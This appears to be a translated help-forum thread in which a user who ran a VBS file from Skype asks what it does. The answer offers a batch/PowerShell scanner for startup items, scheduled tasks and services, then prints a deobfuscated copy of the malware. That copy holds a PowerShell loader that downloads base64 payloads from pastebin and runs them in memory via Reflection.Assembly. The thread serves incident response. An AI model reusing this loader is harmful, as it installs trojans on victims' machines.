我在 Skype 上从一个我以为认识的人那里收到了一个 vbs 文件，我违背自己的判断运行了它。
有人能告诉我它是做什么的吗？
这是 vbs 文件代码 -https://pastebin.com/HPA9DaP1
我已经删除了它添加到启动文件夹中的文件。我还检查了文件 C:\Windows\Microsoft.Net\Framework\v2.0.50727\MSBuild.exe 最近没有被修改过。
我还需要检查什么或者采取什么其他措施吗？
任何帮助将不胜感激！
答案1
我创建了一个批处理文件来查找 vbs 恶意软件的位置并从 stratup 文件夹中获取其代码源：
<# : Batch portion
@rem # The previous line does nothing in Batch, but begins a multiline comment block
@rem # in PowerShell. This allows a single script to be executed by both interpreters.
@echo off
cls & color 9E & Mode 95,5
Title Running Processes - Scheduled Tasks - Services - Startup items by Hackoo 2021
If [%1] NEQ [Admin] Goto RunAsAdmin
echo(
echo( ===========================================================
echo( Please wait a while ... Working is in progress....
echo( ===========================================================
Set "Filter_Ext=%Temp%\Filter_Ext"
Call :GetFileNameWithDateTime MyDate
Set "Log=%~dpn0_%Computername%_%MyDate%.txt"
Set "Lnk_Target_Path_Log=%~dp0Lnk_Target_Path_Log.txt"
Set "All_Users=%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup"
Set "Current_User=%UserProfile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
set "Winlogonkey=HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
Set "ImageFileExec_Key=HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options"
Set StartupFolders="%All_Users%" "%Current_User%"
If Exist "%Log%" Del "%Log%"
Set "VbsFile=%Tmp%\%~n0.vbs"
Call :Generate_VBS_File
Powershell ^
Get-WmiObject Win32_Process ^
| where commandline -NE $null ^
| Select-Object ProcessID,Name,CommandLine ^
| ft -Autosize -Wrap ^
| Findstr /I /V "Admin" ^
| Findstr /I /V "Get-WmiObject" ^
| Out-File "'%Log%'" -Encoding ASCII
Powershell ^
Get-CimInstance Win32_StartupCommand ^
| Select-Object Name,command,Location,user ^
| Format-List ^
| Out-File -Append "'%Log%'" -Encoding ASCII
>"%Lnk_Target_Path_Log%" (
@For %%A in (%StartupFolders%) Do (
Call :Execute_VBS_File "%%~A"
)
)
>> "%Log%" (Type "%Lnk_Target_Path_Log%")
> "%Filter_Ext%" (
echo .vbs
echo .vbe
echo .js
echo .jse
echo .bat
echo .cmd
echo .ps1
)
@for /f "delims=" %%a in ('Type "%Lnk_Target_Path_Log%" ^| Findstr /I /G:"%Filter_Ext%"') do (
@for /f "tokens=2 delims==" %%b in ('echo %%a') do (
>> "%Log%" 2>&1 (
echo(
echo ===================================================================================
echo( Source code of TargetPath=%%b
echo ===================================================================================
Type %%b
)
)
)
Del "%Filter_Ext%" /F >nul 2>&1
Del "%Lnk_Target_Path_Log%" >nul 2>&1
SetLocal EnableDelayedExpansion
>> "%Log%" (
echo(
echo ****************************************************************************************************
echo( No Microsoft Scheduled Tasks List
echo ****************************************************************************************************
@for /f "delims=" %%I in ('powershell -noprofile "iex (${%~f0}|out-string)"') do echo %%I
REM @For /F "tokens=2,9,17,19,20,21,22 delims=," %%a in ('SCHTASKS /Query /NH /FO CSV /V ^|find /I /V "Microsoft" ^|findstr /I /C:"VBS" /C:"EXE"') do (
REM Set TaskName=%%~a
REM Set TaskPath=%%~b
REM Call :Trim_Dequote !TaskName! TaskName
REM Call :Trim_Dequote !TaskPath! TaskPath
REM echo "!TaskName!"
REM echo "!TaskPath!"
REM echo %%c;%%d;%%f;%%g
REM echo( ---------------------------------------------------------------------------------------------------
REM )
)
>> "%Log%" (
echo(
echo ****************************************************************************************************
echo( No Microsoft Services List
echo ****************************************************************************************************
@for /f "tokens=*" %%a in (
'WMIC service where "Not PathName like '%%Micro%%' AND Not PathName like '%%Windows%%'" get Name^,DisplayName^,PathName^,Status'
) do (
@for /f "delims=" %%b in ("%%a") do (
echo %%b
)
)
)
>> "%Log%" (
echo(
echo ****************************************************************************************************
echo %Winlogonkey%
Reg Query "%Winlogonkey%" | find /I "userinit"
@for /f "delims=" %%a in ('Reg Query "%ImageFileExec_Key%" /f "*.exe" ^|findstr /I /V ":"') do (
@for /f "delims=" %%b in ('Reg Query "%%~a" /s /f "Debugger" ^|findstr /I /V "0" ^|findstr /I /V "1"') do (
echo %%b
)
)
)
Call :ExtractCmdLine_Hashes
If Exist "%Log%" Start /MAX "Log" "%Log%" & Exit
::-----------------------------------------------------------------------------------
:Trim_Dequote <Var> <NewVar>
(
echo Wscript.echo Trim_Dequote("%~1"^)
echo Function Trim_Dequote(S^)
echo If Left(S, 1^) = """" And Right(S, 1^) = """" Then Trim_Dequote = Trim(Mid(S, 2, Len(S^) - 2^)^) Else Trim_Dequote = Trim(S^)
echo End Function
)>"%VbsFile%"
for /f "delims=" %%a in ('Cscript //nologo "%VbsFile%"') do (
set "%2=%%a"
)
Del "%VbsFile%" /F >nul 2>&1
exit /b
REM ------------------------------------------------------------------------------
:GetFileNameWithDateTime <FileName>
for /f "skip=1" %%x in ('wmic os get localdatetime') do if not defined MyDate set "MyDate=%%x"
set "%1=%MyDate:~0,4%-%MyDate:~4,2%-%MyDate:~6,2%-%MyDate:~8,2%-%MyDate:~10,2%"
Exit /B
REM -----------------------------------------------------------------------------
:Generate_VBS_File
>"%VbsFile%" (
echo Option Explicit
echo Dim Ws,objStartFolder,objFSO,objFolder,colFiles
echo Dim objFile,strFilePath,Lnk,Title
echo Title = "Extracting Target Path from .lnk and .url files by Hackoo 2020"
echo Set Ws = CreateObject("Wscript.Shell"^)
echo If WSH.Arguments.Count = 0 Then MsgBox "Missing Arguments",vbExclamation,Title : Wscript.Quit(1^)
echo objStartFolder = WSH.Arguments(0^)
echo Set objFSO = CreateObject("Scripting.FileSystemObject"^)
echo Set objFolder = objFSO.GetFolder(objStartFolder^)
echo Set colFiles = objFolder.Files
echo For Each objFile in colFiles
echo strFilePath = objFile.Path
echo If Ucase(objFSO.GetExtensionName(strFilePath^)^) = "LNK"_
echo Or Ucase(objFSO.GetExtensionName(strFilePath^)^) = "URL" Then
echo Call ExtractTargetPath(strFilePath^)
echo End If
echo Next
echo '-------------------------------------------------------------
echo Sub ExtractTargetPath(Lnk^)
echo set Lnk = Ws.Createshortcut(Lnk^)
echo WScript.echo "Link="^& DblQuote(Lnk^) ^& vbcrlf ^&_
echo "Target="^& DblQuote(Lnk.TargetPath^) ^& vbcrlf ^&_
echo String(100,"-"^)
echo End Sub
echo '-------------------------------------------------------------
echo Function DblQuote(Str^)
echo DblQuote = Chr(34^) ^& Str ^& Chr(34^)
echo End Function
echo '-------------------------------------------------------------
)
Exit /B
REM -----------------------------------------------------------------------------
:Execute_VBS_File
cscript //nologo "%VbsFile%" "%~1"
Exit /B
REM -----------------------------------------------------------------------------
:RunAsAdmin
cls & color 9E & Mode 95,5
echo(
echo( ===========================================================
echo( Please wait a while ... Running as Admin ....
echo( ===========================================================
Powershell start -verb runas '%0' Admin & Exit
REM -----------------------------------------------------------------------------
:ExtractCmdLine_Hashes
Rem Killing all Processes that have a status not responding
Taskkill /f /fi "status eq not responding">nul 2>&1
Set "LogScan=%~dp0Log_Scan"
If Not Exist "%LogScan%" MD "%LogScan%"
Set "Abs_cmdline=%LogScan%\%~n0_Abs_cmdline.txt"
Set "Tmp_cmdline=%LogScan%\%~n0_Tmp_cmdline.txt
Set "cmdline=%LogScan%\%~n0_cmdline.txt
Set "TmpHashes=%LogScan%\%~n0_TmpHashes.txt"
Set "Hashes=%LogScan%\%~n0_Hashes.txt"
Set "Hash2Check_VirusTotal=%LogScan%\Hash2Check_VirusTotal.txt"
For %%a in ("%Abs_cmdline%" "%Tmp_cmdline%" "%TmpHashes%" "%Hash2Check_VirusTotal%") Do If Exist "%%a" Del "%%a"
Set ProcessNames="wscript.exe" "cmd.exe" "powershell.exe" "cscript.exe"
SetLocal EnableDelayedExpansion
for %%A in (%ProcessNames%) Do (
REM echo(
REM echo Please Wait a while ... Looking for any instance of %%A ...
Call :GetCommandLine %%A>nul 2>&1
)
Timeout /T 1 /NoBreak>nul
Call :Extract "%Abs_cmdline%" "%Tmp_cmdline%"
for /f "delims=" %%a in ('Type "%Tmp_cmdline%"') do (
for /f "skip=1 delims=" %%H in ('CertUtil -hashfile "%%~a" SHA256 ^| findstr /i /v "CertUtil"') do set "H=%%H"
REM echo %%a=!H: =!
echo %%a=!H: =! >> "%TmpHashes%"
)
Call :RemoveDuplicateEntry "%TmpHashes%" "%Hashes%"
Call :RemoveDuplicateEntry "%Tmp_cmdline%" "%cmdline%"
If exist "%TmpHashes%" Del "%TmpHashes%" & If exist "%Tmp_cmdline%" Del "%Tmp_cmdline%"
for /f "tokens=1,2 delims==" %%a in ('Type "%Hashes%"') do (
If /I "%%~xa"==".vbs" MD "%LogScan%\VBS">nul 2>&1 & Type "%%a" > "%LogScan%\VBS\%%~nxa.txt"
If /I "%%~xa"==".vbe" MD "%LogScan%\VBE">nul 2>&1 & Type "%%a" > "%LogScan%\VBE\%%~nxa.txt"
If /I "%%~xa"==".js" MD "%LogScan%\JS">nul 2>&1 & Type "%%a" > "%LogScan%\JS\%%~nxa.txt"
If /I "%%~xa"==".jse" MD "%LogScan%\JSE">nul 2>&1 & Type "%%a" > "%LogScan%\JSE\%%~nxa.txt"
If /I "%%~xa"==".bat" MD "%LogScan%\BAT">nul 2>&1 & Type "%%a" > "%LogScan%\BAT\%%~nxa.txt"
If /I "%%~xa"==".cmd" MD "%LogScan%\CMD">nul 2>&1 & Type "%%a" > "%LogScan%\CMD\%%~nxa.txt"
If /I "%%~xa"==".ps1" MD "%LogScan%\PS1">nul 2>&1 & Type "%%a" > "%LogScan%\PS1\%%~nxa.txt"
If /I "%%~xa"==".wsf" MD "%LogScan%\WSF">nul 2>&1 & Type "%%a" > "%LogScan%\WSF\%%~nxa.txt"
Set "Hash=%%b"
Set "Hash=!Hash: =!
IF {!Hash!} NEQ {!CMD_HASH!} (
IF {!Hash!} NEQ {!PS_HASH!} (
echo https://www.virustotal.com/#/file/%%b>>"%Hash2Check_VirusTotal%"
Start "Chek SHA256 on VIRUSTOTAL" "https://www.virustotal.com/old-browsers/file/%%b"
)
)
)
::Start "" /MAX "%Hashes%"
::Start "" /MAX "%cmdline%"
Exit /B
::********************************************************************************************************
:GetCommandLine <ProcessName>
Set "ProcessCmd="
for /f "tokens=2 delims==" %%P in ('wmic process where caption^="%~1" get commandline /format:list ^| findstr /I "%~1" ^| find /I /V "%~nx0" 2^>nul') do (
Set "ProcessCmd=%%P"
REM echo !ProcessCmd!
echo !ProcessCmd! >> "%Abs_cmdline%"
)
Exit /b
::********************************************************************************************************
:Extract <InputData> <OutPutData>
(
echo Data = WScript.StdIn.ReadAll
echo Data = Extract(Data,"(^?^!.*(\x22\w\W^)^).*(\.ps1^|\.vbs^|\.vbe^|\.js^|\.jse^|\.cmd^|\.bat^|\.wsf^|\.exe^)(^?^!.*(\x22\w\W^)^)"^)
echo WScript.StdOut.WriteLine Data
echo Function Extract(Data,Pattern^)
echo Dim oRE,oMatches,Match,Line
echo set oRE = New RegExp
echo oRE.IgnoreCase = True
echo oRE.Global = True
echo oRE.Pattern = Pattern
echo set oMatches = oRE.Execute(Data^)
echo If not isEmpty(oMatches^) then
echo For Each Match in oMatches
echo Line = Line ^& Trim(Match.Value^) ^& vbcrlf
echo Next
echo Extract = Line
echo End if
echo End Function
)>"%tmp%\%~n0.vbs"
cscript /nologo "%tmp%\%~n0.vbs" < "%~1" > "%~2"
If Exist "%tmp%\%~n0.vbs" Del "%tmp%\%~n0.vbs"
exit /b
::****************************************************
::----------------------------------------------------
:RemoveDuplicateEntry <InputFile> <OutPutFile>
Powershell ^
$Contents=Get-Content "'%1'"; ^
$LowerContents=$Contents.ToLower(^); ^
$LowerContents ^| select -unique ^| Out-File "'%2'"
Exit /b
::----------------------------------------------------
: end Batch / begin PowerShell hybrid code #>
Function getTasks($path) {
$out = @()
# Get root tasks
$schedule.GetFolder($path).GetTasks(0) | % {
$xml = [xml]$_.xml
$out += New-Object psobject -Property @{
"Name" = $_.Name
"Path" = $_.Path
"LastRunTime" = $_.LastRunTime
"NextRunTime" = $_.NextRunTime
"Actions" = ($xml.Task.Actions.Exec | % { "$($_.Command) $($_.Arguments)" }) -join "`n"
"==============" = "===================================================================================="
}
}
# Get tasks from subfolders
$schedule.GetFolder($path).GetFolders(0) | % {
$out += getTasks($_.Path)
}
#Output
$out
}
$tasks = @()
$schedule = New-Object -ComObject "Schedule.Service"
$schedule.Connect()
# Start inventory
$tasks += getTasks("\")
# Close com
[System.Runtime.Interopservices.Marshal]::ReleaseComObject($schedule) | Out-Null
Remove-Variable schedule
# To show All No Microsoft Scheduled Tasks
$tasks | ? { $_.Path -notmatch "Micro*" } | Out-String -Width 450
我得到了 vbscript 代码，并使用其他变量（反混淆版本）对其进行了修改，以便更具可读性并且更容易理解他可以做什么，但不用担心，这个带注释的 vbscript 是安全的：
Dim WS,StartupFolder,ThisVbscript,Powershell_Script,Powershell_Script_Contents
Set WS = CreateObject("wscript.shell")
StartupFolder = WS.Specialfolders("Startup")
ThisVbscript = wscript.ScriptFullName
Set FSO = CreateObject("Scripting.FileSystemObject")
'FSO.CopyFile ThisVbscript , StartupFolder & "\" I commented this line to not make a copy in the StartupFolder
'chr(80) +"ow" & "ershell = Powershell because chr(80) = P
'Powershell_Script = chr(80) +"ow" & "ershell -noexit -exec bypass -file ""C:\Users\Public\Videos\testnet.ps1"""
Powershell_Script_Contents = "$frame2 = [System.IO.File]::Exists('C:\Windows\Microsoft.Net\Framework\v2.0.50727\MSBuild.exe');$Cli555=((New-Object Net.WebClient).DOWNLOADSTRING.Invoke('https://pastebin.com/raw/5gikCGQ7').replace('@','A').replace('#','B').replace('~','E'));[Reflection.Assembly]::Load([Convert]::FromBase64String($Cli555)).EntryPoint.invoke($2000 - $2000,$null);else{$Cli444=((New-Object Net.WebClient).DOWNLOADSTRING.Invoke('https://pastebin.com/raw/c1UeaJfG').replace('@','A').replace('#','B').replace('~','E'));[Reflection.Assembly]::Load([Convert]::FromBase64String($Cli444)).EntryPoint.invoke($2000 - $2000,$null)};Start-Sleep -s 15;"
Set F = CreateObject("Scripting.FileSystemObject")
Set File = F.CreateTextFile("C:\Users\Public\Videos\testnet.ps1",True)
File.Write Powershell_Script_Contents ' You can find the Powershell script in this location "C:\Users\Public\Videos\testnet.ps1"
File.Close
wscript.echo Powershell_Script_Contents ' This is the contents of the powershell payload it just echo its contents and don't execute it
'WScript.Sleep 3000
REM WS.Don't Run Powershell_Script,0 ' I commented this last line to be safe and don't run the palyload powershell script
因此，这个 vbscript 会从多个位置下载多个有效负载。
这些多个有效载荷被组合成一个编码的 PowerShell 脚本（base64）。并将其解码为恶意软件可执行文件（特洛伊木马）